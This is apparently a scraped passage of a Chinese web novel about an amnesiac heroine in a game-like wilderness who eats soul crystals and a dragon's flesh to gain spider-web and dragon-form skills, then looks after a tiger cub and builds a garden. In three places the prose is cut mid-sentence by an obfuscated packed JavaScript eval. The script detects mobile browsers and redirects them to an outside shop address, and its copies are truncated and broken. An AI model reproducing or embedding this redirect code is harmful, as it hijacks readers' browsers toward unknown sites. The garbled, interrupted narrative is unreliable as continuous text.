出乎意料的是，这像是果冻一样柔软光滑的黑色珠子，吃起来却像是没有剥壳的板栗，又噎人、又划拉嗓子。 颜辞云用力吞下这颗灵魂结晶后，连忙又捧了两捧水喝下，试图缓解嗓子里地不适。 可不知道为什么，颜辞云喉咙里的干涩与刺痛感不但没有得到缓解，反而越演越烈，甚至引得颜辞云咳嗽了起来。 颜辞云一边咳一边懵，忍不住打开自己的技能树看了一眼【吞噬】技能的描述。 没错啊，它的描述分明就有一句“绝对不会吃坏肚子”，她记得可清楚了，不然她怎么敢乱吃东西……等等，“吃坏嗓子”好像不算在“吃坏肚子”里？ 坏了，搞到BUG了！ 颜辞云脸色大变，捂着嘴试图咽下咳嗽与异物感。 但颜辞云只忍耐了三个呼吸的时间，就再没办法按住喉咙里的异动，张开嘴用力一咳： 咻！ 下一秒，在颜辞云目瞪口呆的注视下，只见一道雪白的蛛丝竟从她口中疾射而出，迎风而长，瞬息化作五米高的蛛网！ 它不但眨眼间飞跃了二十余米的河道，甚至在石原上又飞出了数十米后，才终于泄劲，轻飘飘地落在巨石上。 颜辞云呆呆看着这不可思议的一幕，半晌回不过神来。 啊？ 啊不是？ 这都是什么和什么啊？ 颜辞云不由得伸手摸了摸自己的喉咙。 这时，颜辞云喉咙里的刺痛与异物感已经消失了。 但颜辞云却能感觉到，自己喉咙里好像多了某种……器官？ 当然，这个“器官”在实质上是不存在的。 这一点颜辞云忍着不适，用手指探进口腔仔细摸了一遍、确认过了。 可偏偏，颜辞云就是能“感觉”到它的存在。 颜辞云眉头紧皱，想到了什么，打开了自己的人物面板。 而果然，此刻的颜辞云的技能栏里，赫然多出了几个字： 【摄神：（异蛛lv1）】 【蛛魄（lv1）：在异蛛之魄的影响下，你获得了它生前的少部分能力，并提高了与蛛形动物的亲和性，当你路遇蛛形动物时，它们将不再主动攻击你。】 颜辞云看着技能栏里的描述，又是震惊，又是喜悦： 什么，原来这就是摄神？！ 原来，只要她吞食灵魂结晶，就能进行【摄神】，从而获得这个怪物生前得能力？ 这一刻，颜辞云大喜过望。 毕竟蛛魄自带的发射蛛网的这个技能，可是非常有用的，让颜辞云连学习弓箭的功夫都省了。 想来颜辞云只要多多练习，调准一下自己的准头，日后她可能就能取代蜘蛛女王，成为这片森林里的霸王，再不用发愁食物问题、或者发愁森林里被吓跑的怪物们回来后自己该 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颜辞云看着这一幕，沉思片刻：看来，从此以后，自己就与夹子音绝缘了。 噫！ 接下来，搞出新技能的颜辞云，兴奋地向石原方向又噗噗噗吐出了八张蛛网后，才再次感到了嗓子发痒、力有不逮。 甚至肚子都有些饿了。 颜辞云知道，一次吐出十张蛛网，应该就是lv1的极限了。 不过，这并不代表lv1的蛛魄就很弱。 颜辞云发现，自己吐出的一张蛛网能飞一百米左右，并且蛛网上似乎有特殊的力量附着，令它哪怕张开后的面积极大，却也不怎么受到风的干扰。 而且，颜辞云吐出的蛛网虽然不像蜘蛛女王留下的蛛网那样强韧、光是蜘蛛丝都比颜辞云的胳膊粗，但却也不是普通动物能轻易挣脱的。 所以在颜辞云看来，自己新获取的这个能力，毫无疑问是原始木弓的上位替代品，是她接下来狩猎的杀招！ 毕竟，中箭不一定会死，但被蛛网抓住，那却是真的跑不脱了。 满意地试完技能后，颜辞云目光发亮地看向了手里的绿珠子。 ——一个只有拇指大小的蜘蛛女王的灵魂结晶，都给了她【发射蛛网】和【蛛形动物亲和】这两个能力，那这颗一看就非常高级的绿珠子，又会给她带来怎样的惊喜？！ 想到这里，颜辞云再不迟疑，打开人物界面，张嘴将这颗不知名的绿珠一口吞下！ 而也就在颜辞云吞下绿珠的瞬间，颜辞云看到自己的技能栏里又多了一行字： 【摄神：木龙（lv1）】 颜辞云瞠目结舌。 等等？ 不是，等会儿？ ——你说这是什么？！ 不等颜辞云反应过来，下一秒，颜辞云就感到一股与吞食蜘蛛女王魂晶时十分相似、却又绝不相同的刺痛感与灼烧感，从脑海深处升起，瞬息席卷全身！ 15. 第15章 龙种力场 痛！ 烫！ 就像是被蓦地扔进了火堆，那一股像是要把皮肉骨骼乃至肺腑与灵魂全都烧化了的痛苦，在这一刻汹涌而来，取代了颜辞云的所有感受！ 有那么一瞬间，颜辞云几乎忍不住晕过去，用这种人类最原始的方式逃避这一场痛苦。 但很快的，颜辞云意识到事情并没有这样简单，而“痛苦”也并非仅仅是“痛苦”，而是……生长！ 对，是生长痛！ 是因为有什么“东西”，正在颜辞云这一具上人下蛇的躯壳中迅速生长，意图长成某种庞然大物，但却又偏偏受制于颜辞云的身体，不得不被禁锢在这具不足五米的躯壳中的痛苦！ 既然如此，此刻的颜辞云该怎么做？ 是咬牙撑过去吗？ 默默忍受这场痛苦的“生长”，直到对方偃旗息鼓，自动消失？ 还是……做点什么？ 颜辞云不是坐以待毙的人。 当她察觉到自己的痛苦是因为有什么东西想要生长却又难以破壳而出时，她就想要做点什么。 可她能做点什么呢？ 颜辞云咬牙强撑，看向自己的人物界面。 可这一次，除了技能描述外，颜辞云的人物界面再没有出现任何提示。 于是，在近乎焚身裂骨的痛苦中，颜辞云下意识思考了起来：如果自己的“生长痛”，是因为自己作为半人半蛇时体型太小，那么…… 如果自己变身成十米、二十米，甚至一百米一千米大的庞然巨物，是不是就能坦然消化这样的“生长”了。 颜辞云不受控制地顺着这个思路思考了下去。 第一时间，颜辞云想到了【摄形】，想到了不远处的那具蜘蛛女王的尸体。 都到了这种时候，颜辞云当然不会再考虑蜘蛛女王的形态如何、能不能接受的问题了。 但很快，颜辞云发现此路不通！ 原因也非常简单——蜘蛛女王太弱了。 以颜辞云为标准，蜘蛛女王当然是强大的异兽，光是那张三米高的脸砸下来都能叫颜辞云喝一壶。 可比起“龙”这种等级的生物来说，它却又太过弱小了，让颜辞云很难对自己的【蛛形】抱有期望。 当然，还有另一个关键的问题，那就是颜辞云根本咬不动蜘蛛女王的肉。 连颜辞云手里最强力的武器石剑，甚至是微生物，都拿蜘蛛女王的尸体没有办法，颜辞云不觉得自己的牙齿能够胜任分割蜘蛛女王的任务。 所以——真的没办法了吗？ 在这个所有生物几乎都被巨兽大战吓跑了的森林里，还有什么食物是能够被她【摄形】的？ 突然间，颜辞云脑中灵光一闪。 下一秒，颜辞云的目光移向自己的技能栏。 【木·龙魄（lv1）：在木龙之魄的影响下，你获得了它生前的微弱能力，并提高了与龙形动物的亲和性，当你经过龙的领地时，你将不再受到龙种力场的阻拦。】 不要忘了，颜辞云之所以会选择在海边定居，其中最重要的理由就是觊觎海中的那一具龙尸！ 而当【龙种力场】这个奇特的词语出现后，颜辞云蓦地生出了这样的念头：所谓的“龙种力场”，是不是就是围绕在龙尸身旁的那道无形屏障？ 如果这个猜测成立，那如今【木·龙魄】的力量，是不是就能够帮助颜辞云穿过那道屏障，分食龙尸，并获得她最眼热的【龙形】？ 有可能。 并且—— 值得一试！ 颜辞云再不迟疑，跳入河中，顺流而下，如同真正的水蛇一样，飞速游向大海。 而在她身后，扑棱着河边蚊子的小白在不经意的一个转头后大惊失色： 饲主呢？ 刚刚还在这里的、那么大的一个饲主呢？？ · 在颜辞云的全力前行下，短短十分钟不到，颜辞云就从河流游入大海，接着又一路向西，来到海底，隔着幽微的深流，直勾勾看着无形屏障之后的那具龙尸。 剧痛和混乱中的颜辞云没有注意到，整整十分钟，她都在水下，也就是说她足有十分钟没有呼吸过了。 但这不重要……至少对现在的颜辞云来说不重要。 “……成败在此一举！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404311|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>是一直忍受着不知道什么时候结束，甚至不知道会不会结束的痛苦？ 还是试着以蝼蚁之身吞食太阳？ 一切，就看现在！ 颜辞云长尾一摆，心中发狠，毅然决绝地一头撞向那道连大海都被扭曲的坚硬屏障。 而这一次，那道如同“游戏设定”或者说“世界规则”一样的空气墙，再没有阻拦颜辞云半分！ ——呼！ 一头闯入屏障内的颜辞云，在没有了海水的托举后瞬间从高处坠落。 而以大海的深度，颜辞云如果就这样一直坠落下去，她怕是不死也残。 但对此早有预案的颜辞云毫不犹豫，口中倏尔一道蛛网射出，在半空中向龙尸疾射而去。 而也几乎在蛛网射出的瞬间，颜辞云五指一紧，捏住了蛛网的尾巴，被这蛛网向前带飞了数米！ 毫无疑问，用蛛丝射出时的动力带自己滑翔这种想法，就像是“左脚踩右脚就能上天”一样天马行空。 而更不可思议的是，颜辞云成功了！ 在没有实验、没有练习的情况下，她一次性成功了！ 只不过，情况依然不容乐观。 当没有负累的时候，颜辞云发射的蛛网的确能轻易飞射百余米，可当这道蛛网还携着颜辞云这个沉重负累时，它仅仅飞了不到三米就开始坠落。 颜辞云没有办法，只能强忍不适，继续压榨自己的体力去吐丝。 终于，连续四次的“接力飞行”后，颜辞云成功挂在了龙尸的鳞片上。 而这时，颜辞云早已饿得两眼发绿。 毕竟在颜辞云之前吞食龙魂结晶时，颜辞云就已经因为多次的吐丝实验而有些饿了。 那时，颜辞云的最高吐丝记录是十。 而在吞食了龙魂结晶后，颜辞云不但忍痛在水底游了数公里，还在坠落时再次狠狠压榨自己的体力，竟又连续吐丝四次。 这简直就是在拿命拼！ 于是，在抵达垂涎已久的龙尸后，两眼发绿的颜辞云想也不想，甚至来不及试探龙尸血肉的硬度，就一头扎进了龙尸血流如瀑的血肉空洞中，张嘴，一口咬下！ 16. 第16章 吃！ 第一口，软糯鲜香！ 那是非常不可思议的口感，微咸微甜的龙血裹在软嫩的龙肉里，险些鲜掉了颜辞云的舌头！ 而随着这一口龙肉在胃袋里极速融化、吸收，一股暖流从心口涌上，为饿极了的颜辞云恢复了些许体力。 与此同时，一些莫名其妙的记忆碎片在颜辞云脑中闪过，似乎是她在什么地方吃鲜肉粽。 那鲜肉粽色泽金黄，被一口咬开后，糯米的香味混合着融化开来的猪油与猪肉香，奇袭了她的鼻子，让她下意识口水直流。 颜辞云不记得自己之前是什么人、有过什么经历、有着什么爱好。 但她至少记得，自己应该不是那种喜欢吃肥肉与肥油的人。 可偏偏，颜辞云记忆中的这一只鲜肉粽是如此之香，那绵软可口的糯米完美化解了猪油的肥腻，只剩喷香，让颜辞云一口咬下去，软糯鲜美，满嘴流油。 ……就像现在！ 颜辞云舔了舔沾血的唇角。 明明体力得到了补充，可她心理上却越发饿了。 于是颜辞云没有犹豫，又咬下了第二口。 这一口，弹舌爽脆！ 颜辞云又一次看到了，记忆中的自己坐在某个满是烟火气的小排挡里，擦得干干净净的桌子上有一盘她期待已久的椒盐掌中宝。 所谓的掌中宝，是指鸡爪掌心的那一块鼓出的软骨。颜辞云依稀记得，这是她最爱的小零食之一，但后来，随着大部分商家以鸡鸭身上的脆骨充当“掌中宝”后，颜辞云也渐渐没有再吃了。 可是，这一次，也不知道为什么，颜辞云很清楚自己面前的这一盘掌中宝绝对是她最喜欢的鸡软骨，也是她最喜欢的口味。 可她最喜欢的口味……是什么呢？ 抱着这样的期待，颜辞云将筷子伸向了这一盘洒满白芝麻的掌中宝，夹起一粒，放入口中。 首先从味蕾处传来的，是微辣的咸香，令她口舌生津。 而随着她的牙齿破开爆炒后的酥脆外壳，富有弹性又饱含肉汁的鸡软骨在她口腔中瞬间炸开。 细腻的肉质在她的口中左右翻滚，又嫩又韧的奇特口感像是在她的口中丢下了一颗美味炸弹，给她的每一次咀嚼都赋予了截然不同的鲜美体验。 美味！ 弹牙！ 明明没有多余的香草用以装饰，也同样没有更多的调料用以提鲜。这一盘椒盐掌中宝其实只有最简单的咸与蒜香而已，却糅合出了如此美味。 不可思议！ 两口龙肉入肚，颜辞云的胃袋竟就这样装满了。 饱足感从身体的每一寸甚至每一根发丝传来。 可颜辞云却觉得不够。 远远不够！ 她还要吃更多、更多、更多！ 颜辞云狠狠地咬下了第三口。 这一口，甜润咸香！ 熟悉又陌生的记忆袭来。 颜辞云看到，自己面前摆着一碗海鲜盖饭。 焦香的炒芝麻铺在热腾腾的米饭上，说不清是米饭的热气成就了芝麻的喷香，还是芝麻的香味调和了米饭的滚烫。 而在米饭和炒芝麻之上，数种海鲜搅合而成的劲道鱼泥、颜□□人的鲑籽，以及看似低调的海胆与蟹肉，铺在碗中，堆叠成了一座小山。 颜辞云在指导下，拿起一旁调制好了的酱汁，柔和地倒入碗中，仔仔细细地拌好这一碗海鲜盖饭后，用近乎虔诚地心态舀起一勺，轻轻一抿。 果然没有辜负颜辞云的期待！ 随着颜辞云舌头与上颚的施压，鲑鱼籽轻轻爆开，鲜味融入甜美的鱼泥里，裹住了每一颗米粒。 而当颜辞云咀嚼时，那鱼籽与鱼泥的鲜，既泾渭分明，又相互成就，最后融入米饭与炒芝麻里，化作一条条小鱼，在颜辞云的嘴里游动，就好像颜辞云一口吞下了一整个海洋！ 妙！ 妙不可言！ 颜辞云回过神来，打了个嗝，感到自己已经有些撑了。 太饱了。 饱过头了。 饱得让颜辞云几乎呆不下去，想要立即出去跑个百来公里。 颜辞云知道自己不该再吃了，舔舔唇，依依不舍地松开面前的美味。 直到这时，颜辞云才恍然发觉，她体内那一股撑得她几乎炸裂的痛楚已经悄然消失了。 而当颜辞云低头时，她更是看到，自己原本光滑细长、长满森然蛇鳞的蛇尾，不知道什么时候变回了双腿，只不过腿上覆满了鱼鳞，脚掌如同鹰爪，手掌却像是老虎。 颜辞云摸了摸自己的头。 额上长包，还是对称的一左一右。 颜辞云怀疑这应该不是“包”，而是角，只不过她变形等级太低，一时间没长出来而已。 颜辞云的手向下滑去，又摸了摸自己的脖子。 长。 只是颜辞云的第一反应。 非常长，有点儿像蛇，比自己人类形态时的脖子长了不止一截。 比起这能伸出去舔别人脸的蛇颈来说，天鹅颈算什么呀！ 颜辞云的脸抽了抽，不忍去看自己此刻的样子，飞快打开人物面前，用蛇形取代了自己的龙形。 【龙形（lv1）：你可以自由将自己身体的某一部分变化为龙形，并拥有一部分龙的能力。在饱食度消耗完前，你的变形不受任何外力的干扰。】 这龙形lv1的技能与蛇形lv1的技能几乎如出一辙、复制黏贴。 当然，颜辞云相信，不管是龙形还是蛇形，两个技能升到高级后必然会有各自的特色。 蛇形的快速升级，颜辞云目前没有头绪，毕竟森林都空了。 而龙形怎么升，颜辞云倒有许多许多许多的想法。 颜辞云看着自己面前这具如山脉起伏的龙尸，擦了擦嘴角的口水。 那么现在，先回去吧。 刚刚跑太快把猫丢下了，希望那傻猫没有跑太远。 颜辞云拿出石剑，意图割下两块肉带回去当零食，但出乎意料的是，明明在颜辞云口中软嫩鲜香、入口即化的龙肉，在锋利的石剑下竟然没有半点反应。 就连蜘蛛女王那看起来硬得不同寻常的外壳，也会被石剑留下浅浅白痕，可这触手生弹的龙肉，却风轻云淡地无视了石剑的所有攻击。 看来，这个世界果然是存在一些奇特力量的。 颜辞云抓了抓头，没有纠结自己没法把龙肉带回基地这件事。 毕竟这么大一条龙肉摆在这儿，还能跑不成？ 颜辞云最多担忧一下龙肉的保质期，哦，还有小白那只傻猫。 颜辞云之所以想要带几块龙肉出去，一是为了给自己加餐，二是想给小白尝尝鲜，但没想到石剑根本割不动。 这样看来，只能等下次吃饭的时候把小白带来试试了。 这样想着，颜辞云看了看十米开外的海水墙，又看了看脚下深渊一样的高度，没怎么害怕，蛇尾在龙尸上一拍，得到接力点的身形瞬间就弹射了出去，重回大海之中。 颜辞云顺着原路游了回去，路上用海水洗掉了自己满身的龙血，而回到河流后，更是把自己长发里的海盐也好好洗了洗。 最后，一身海腥味褪去的颜辞云站在河边，弯腰俯视自己的倒影。 很好，又是一个干干净净的靓仔！ 离开前，颜辞云目光一错，突然发现自己身上的树叶上衣不见了。 而事实上，颜辞云那用以遮羞的上衣已经不见很久了，只不过她现在才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412438|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现这件事而已。 那么，颜辞云为什么直到现在才“发现”这件事？ 或许是因为……这件事对颜辞云并不重要吧。 颜辞云知道，有许多人都认为衣物是文明的重要标志之一、代表着羞耻之心，是区分人类与野兽的一道防线。 但这个观念无法说服颜辞云。 因为在颜辞云短暂记起过的记忆碎片里，大夏天袒胸露乳、招摇过市甚至引以为豪的男人多了去了，他们没有对此感到羞耻，为什么女人要对此感到羞耻？ 颜辞云空荡荡的脑袋没有给予她答案。 所以，失忆的颜辞云有一个非常简单的衡量标准：男可往，吾亦可往。 至此，颜辞云的思考告一段落，任由它蜻蜓点水般从自己的大脑中略过。 紧接着，颜辞云打开小地图，开始寻找白虎的踪迹。 果然，就如同颜辞云想的那样，在她离开河畔的短短半小时里，白虎已经远远离开了河边，在森林中某个地方左右蹦跶。 颜辞云定睛一看，发现白虎此刻的所在之地，竟然就是颜辞云曾经去过的鸟林。 颜辞云默然片刻，比划了一下鸟林和自己离开时的位置的距离。 喝！好家伙，起码得有一百多公里了吧？ 你一只小猫咪跑的是真的快啊！ 颜辞云咋舌，怀疑自己如果没有定位系统的话，是不是这辈子都找不着那只撒手没了。 想到这里，颜辞云没有再耽搁，借着一边惦记着还没完工的安全屋，一边借着月光与萤火虫的微光极速奔跑。 或许是因为【摄形】的来的能力其实有隐形的叠加机制，又或许是因为【摄神】得来的能力为颜辞云提高了隐形的上限。 这一次，颜辞云只花了十五分钟左右，竟然就飞跃了一百公里的距离，来到了鸟林附近。 这个速度简直可怕，已经不是“跑得太快”，而是“飞得太低”。 所以以颜辞云的动态视力与大脑，已经很难处理和分辨自己到底在森林里看到的东西了。 也还好，现在的森林空荡荡，颜辞云便干脆用系统地图取代了自己的视野，全当自己在自动寻路。 但俗话说的好，道路千万条，安全第一条，行车不规范，亲人两行泪。 这不，刚来到鸟林附近，还没等颜辞云看清附近的环境，一只黑影就直奔颜辞云的脸而来。 如果不是颜辞云一个急刹，在撞上对方前险险把自己停下，恐怕原始森林里的第一起超速交通案就要发生了！ 颜辞云定睛一看，发现扑脸而来的“黑影”不是什么黑影，而是颜辞云曾经在森林里见过的那只幼鸟。 此刻，这小鸟儿红色的绒毛依然像棉花糖一样柔软蓬松，可它乌溜溜的眼睛里满是惊慌，看到颜辞云后像看到救星似的，一头扎进颜辞云的头发里，蓬松绒毛下的身体瑟瑟发抖。 颜辞云有些惊讶，还没来得及反应过来发生了什么，下一秒，簌簌声响起，一个熟悉的身影从鸟林飞快跃出，落在颜辞云的面前，放下口中的猎物，一边发出甜蜜的咪咪声，一边邀功似的摆着自己的长尾巴。 ——正是那只撒手没！ 而被白虎一口咬死后又当作猎物送到颜辞云面前的，则是一只羽毛鲜艳、体型看起来像是红色幼鸟远亲的……鸟儿。 颜辞云：“……” 白虎一脸邀功：“咪~咪咪咪~~” 幼鸟瑟瑟发抖：“嘤嘤嘤……” 颜辞云默默捂住了幼鸟的眼睛，挡住了这残暴的一幕，然后俯身摸了摸杀鸟凶手的圆脑袋。 “小白真厉害，这么小就知道养活自己了！” 先是夸赞一句。 然后小小声：“我们回家再吃。” 17. 第17章 希望 小白作为一个年幼的小朋友，竟然在没有家长保护的情况下亲手打到了猎物。 并且在见到颜辞云后，它的第一反应是把自己的猎物献给她。 这和亲生的有什么区别？ 颜辞云作为家长，在这种时候当然是绝不能扫孩子的兴，并且要着重表扬一下小朋友的！ 但话说回来，另一只小红鸟也同样是小朋友，并且好似将颜辞云当作了妈妈，对她十分依恋。 这样一来，颜辞云就不太忍心让这位小朋友挂在这里了。 颜辞云其实很明白，在这个世界，弱肉强食实乃正理。 可俗话说，见其生不忍见其死，闻其声不忍食其肉。 人就是无法对与自己建立过联系的小动物置之不理。 如果颜辞云一开始就把小红鸟当食物，那现在这一幕当然没有问题。 可既然颜辞云曾经见过这只小红鸟，还给它投喂过果子食物，与它建立过联系，那自然无法在这种时候坐视不理。 虽然，颜辞云还是没打算养一只小鸟，也不至于因这点联系就把小红鸟捡回去养。 但捂住小红鸟直视“惨案”的眼睛、把它从小白的爪子下救下这点小事，却还是能做到的。 “小白，在这里乖乖等一下好不好？我马上回来？” 颜辞云捧着小猫脸，试探着跟它沟通，但后者只是眨巴着眼睛，懵懂看她。 颜辞云想了想，指了指小白和猎物，又指了指自己和鸟林，做出折返的姿势。 小白想了想，似懂非懂地点头，蹲坐在原地，歪头看颜辞云，蜷着爪子，一副乖宝宝的样子。 颜辞云看着小白虎，突然就明白了为什么有些人喜欢养宠物。 “真乖。” 颜辞云微笑着，近乎慈祥地摸了摸小白的头。 “在这里等着，我马上回来。” 留下这句话，颜辞云带着还躲在她发丝里瑟瑟发抖的小红鸟，游向鸟林里最初发现小红鸟的位置，把它又放了回去。 小红鸟显然很舍不得颜辞云，一离开颜辞云的体温就发出哭泣一样的嘤嘤声，咬着颜辞云的手指，怎么都不肯让她走。 颜辞云心中有些发软，微微叹息，无奈向小红鸟说道：“别怕，你父母应该很快就回来了。” 之前，小白抓住的那只猎物，已经告诉了颜辞云，那些曾经因异兽大战而被吓走的小动物们，正悄然踏上了返乡之路。 虽然此刻颜辞云身处的鸟林依然是一片空荡荡的，但颜辞云却注意到，鸟林的四周并非一片死寂。 这是因为那些装死的昆虫们正开始恢复着自己的生活与活动。 想来过了今晚，大致明天，最多后天，那些鸟群与兽群们就该重返森林了。 如果颜辞云在这时把小红鸟带走，那等鸟妈妈和鸟爸爸返回后，又该怎样面对它们空荡荡的巢穴？ 颜辞云耐心哄道：“小孩子，还是跟在家长身边长大最好，如果是其他人的话……”顿了顿，颜辞云柔和说着，“大不了，我下次再来看你，好不好？” 小红鸟听不懂颜辞云的话语，依然咬着颜辞云的手指，嘤嘤着不肯松嘴。 颜辞云摸了摸小红鸟的脑袋，温柔而冷酷地抽出自己的手，转身离开。 颜辞云的速度很快，快到那只年幼的小红鸟无论如何都追不上。 最后，那只小红鸟扑腾着飞上灌木枝头，向着颜辞云的背影大声叫着，像是孩子对母亲的恳求与挽留。 但颜辞云知道自己并非它的母亲，这个孩子只不过是认错了人。 于是她只是摇了摇头，没有回头。 · 当颜辞云重回到与小白虎分开的地方时，这个小朋友正百无聊赖地玩着自己的尾巴。 见到颜辞云的回返后，小白虎眼睛一亮，开开心心地扑到颜辞云脚下，熟练地四爪并用，爪尖勾着颜辞云的蛇鳞往上爬。 颜辞云一手把小白虎捞起来抱住，一手提起小白虎的猎物，走出森林，借着月光仔细打量。 该说不说，这小白虎的打猎能力着实有些吓人了。 因为颜辞云手里提着的这只羽毛斑斓疑似锦鸡的猎物，体型少说也有小白虎的两倍大，堪比一只大型猎犬！ 可就是这么大、还会飞的猎物，竟被小白虎干脆利落地一口咬死了？ 颜辞云来到河边，把这只大型锦鸡清洗拔毛后，发现它全身上下真的只有脖子上的那一道致命伤。 可见它在死前没有做出半点成功的反抗，甚至没有半点成功的挣扎！ 颜辞云看着看着，顺手又摸了摸小猫头，赞叹道：“小白真的厉害呢。” 幼虎盯着颜辞云手上的鸡，一边舔嘴，一边矜持点头。 一回生二回熟，有过第一次的烧烤经验后，颜辞云轻车熟路，两三下就做出了营火，架起了烤架。 她将清洗干净后的大锦鸡一分为二，一半直接放在干净的石板上，任由白虎慢慢去啃，另一半则被她串在烤架上。 不过，这半份烤鸡倒不是颜辞云为了自己烤的。 毕竟，颜辞云这会儿依然很撑，想来要消化掉那三口龙肉，还得花上不少时间才行。 更何况，小朋友把自己打来的猎物给家长，那是因为小朋友爱你，而当家长的，总不能真把孩子的猎物吃了吧？ 所以，这半分烤鸡，其实还是为了小白做的。 至于把一只大锦鸡分成两份炮制，也没别的理由，就是想让小朋友尝尝鲜。 颜辞云转动着手里的烤架，往营火堆里添草，加大火力。 慢慢的，焦香味开始飘出。 没有经过充足腌制，也没有经过任何调味的野鸡肉，烤出来的味道其实比较微妙，有一股挥之不去的血腥味。 如果是文明社会的人，在没有别的选择时，对这样的肉是很难下咽的。 可对于小白虎这样的野兽来说，这种腥味似乎刚刚好。 这不，鸡肉的焦香味刚开始飘散，原本还在大快朵颐的小白虎瞬间抬起头来。 它的眼睛也直了，耳朵也竖了，嘴里的生鸡肉也不香了，在颜辞云的身旁绕来绕去。 它先是拿毛茸茸的脑袋去蹭颜辞云的手，眼见颜辞云不为所动，便干脆眯着眼缩着头，一副掩耳盗铃的样子，偷摸着用爪子勾向烤架上的鸡肉。 “馋猫。” 颜辞云用无情铁手打开馋猫的爪子，又用手指按它的脑袋把它推开了些。 小老虎顿时不干了，往地上一躺就开始打滚，圆滚滚的肚子扭来扭去，嘴里嘤嘤个不停。 颜辞云终于笑出声来：“好了，别撒娇了，还没烤好，再等等。” 小老虎这回听懂了，一个鲤鱼打挺坐了起来，渴望的眼睛直勾勾地看着烤架上的鸡肉。 颜辞云越来越觉得这小家伙不同寻常了。 明明都是幼年期的小朋友，可它显然比林中的那只小红鸟更聪明、更通人性，也更有攻击力一些。 ——它到底什么来头？ 颜辞云又打开了宠物模块，点开小白的身份卡。 【宠物名：白虎】 【品种：？？？】 【攻击：E】 【速度：E】 【洞察力：E】 【回气能力：E】 【临阵突破：E】 【天赋能力：神机百变（待探索）】 就和颜辞云第一次看到时一样，这个幼崽除了一个不明不白的天赋技能【神机百变】外，其它属性全都是平平无奇，弱得像是一个现代大学生。 可哪有现代大学生能一拳打死一只比自己体型大两倍的走地鸡的？ 颜辞云摸了摸小猫头，没有得到答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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问题在于，颜辞云没有办法把装着一吨水的木桶“提”走，或者是“捧”走，因为颜辞云与木桶底部的接触面就那么点儿，颜辞云承受得住，木板可承受不住，所以她得…… 蓦地，颜辞云回神，拍了一下自己的脑袋。 “真是傻了！”颜辞云懊恼，“都几天了，怎么还没习惯这件事？！” 这样想着，颜辞云把木桶再次装满水后，不等它浮出水面，就大手一挥。 下一秒，颜辞云眼前一空，而她的物品栏里则多出了一个【装满水的木桶】。 颜辞云如法炮制，又做了一个一立方米的木桶，并又一次把它装满水，转移到物品栏里。 果然，就像颜辞云想的那样。 因这两木桶水的本质相同，它们并没有占据两个格子，而是堆叠在了一起！ 妙啊！ 这怎么不算水源呢？ 颜辞云又连续装了数桶水，感觉自己接下来哪怕半个月都蹲在安全屋里也不用操心用水问题后，这才心满意足地抱起一旁呼呼大睡的小老虎。 这一刻，月落星河。 波光粼粼的河面就如同颜辞云此刻的心情，愉快而满足。 虽然，颜辞云此刻还什么都没有。 她的安全屋还没有彻底建成，她的地下小花园还仅有一个想法，而至于屋内装饰什么的更是连影子都没有的事。 但颜辞云却已经有了食物，有了水源，甚至有了最基础的自保的力量。 她已经不再像刚来到这个世界时那样恐惧。 她甚至已经畅想起了自己什么都拥有了的未来！ 颜辞云不由得抬头，望着天空，弯眼笑着，满怀希望。 “好了，小白，我们该回家了~” 18. 第18章 小花园 颜辞云抱着小白虎，回到石原下的安全屋，用一米高的原始块搭起一张7X10的大床，再做出几个便携式帐篷拆掉，取出柔软而具有弹性的草编床垫铺上，再在上头铺一层系统出品的精编草席。 就这样，一个看起来有些粗糙，但躺上去意外不错的石床便新鲜出炉了。 颜辞云躺在石床上，闭眼，第一次在这个异世界沉沉睡去。 而第二天，当颜辞云醒来后，枕头边的小白虎还在呼呼大睡。 颜辞云随手摸了摸这小白老虎的毛肚子，打开石门，站在安全屋外待完工的小花园里。 这时，外界的天色已经大亮。 明媚日光从安全屋四个角落处的天井投下，带给了地洞深处一定光亮，可在颜辞云看来，这种程度的光亮是远远不够的，需要在墙面上的恰当地方填补上发光苔藓才行。 而且四周的小花园也要尽快完工，因为它们不仅能当作种植区、观赏区，还能当作生活污水的排水区。 “所以，尽快开工吧！” 颜辞云按照之前的想法，先是用森林里挖来的泥土块将四周留出的石坑填满。 宽度4米，深度3米，长度则分别是惊人的50和30——对于颜辞云这样的种植新手来说，这种程度的“小花园”的确是很惊人了。 接下来，颜辞云又开始做木栅栏。 颜辞云手上有两个关于木栅栏的配方，一个是【6木棍=2木栅栏】，一个是【3树枝+1草绳=6木栅栏】。 这两个用料截然不同的合成配方，让颜辞云总感觉自己的系统制作台似乎捏他了不止一个游戏。 但没关系，哪个好用用哪个！ 颜辞云做出了大量的木栅栏，将填充好泥土块的种植区细细围上，再在前后左右四个角落都放上小木门。 她退后两步，看着自己面前这片“嗷嗷待哺”的种植区，先是满意地点点头，再是遗憾地摇摇头。 满意自然是因为成就感，而遗憾则是因为这片种植区的造型。 太方了。 方方正正，看起来就很死板僵硬。 但，先凑合着用吧！ 所谓的“家”，不就是日积月累，一点点建成的吗！ 颜辞云对未来很是乐观。 